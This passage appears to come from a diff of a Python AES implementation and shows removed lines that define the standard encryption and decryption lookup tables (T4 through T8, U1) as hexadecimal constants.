-    T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]
-
-    # Transformations for decryption
-    T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]
-    T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]
-    T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]
-    T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]
-
-    # Transformations for decryption key expansion
-    U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]
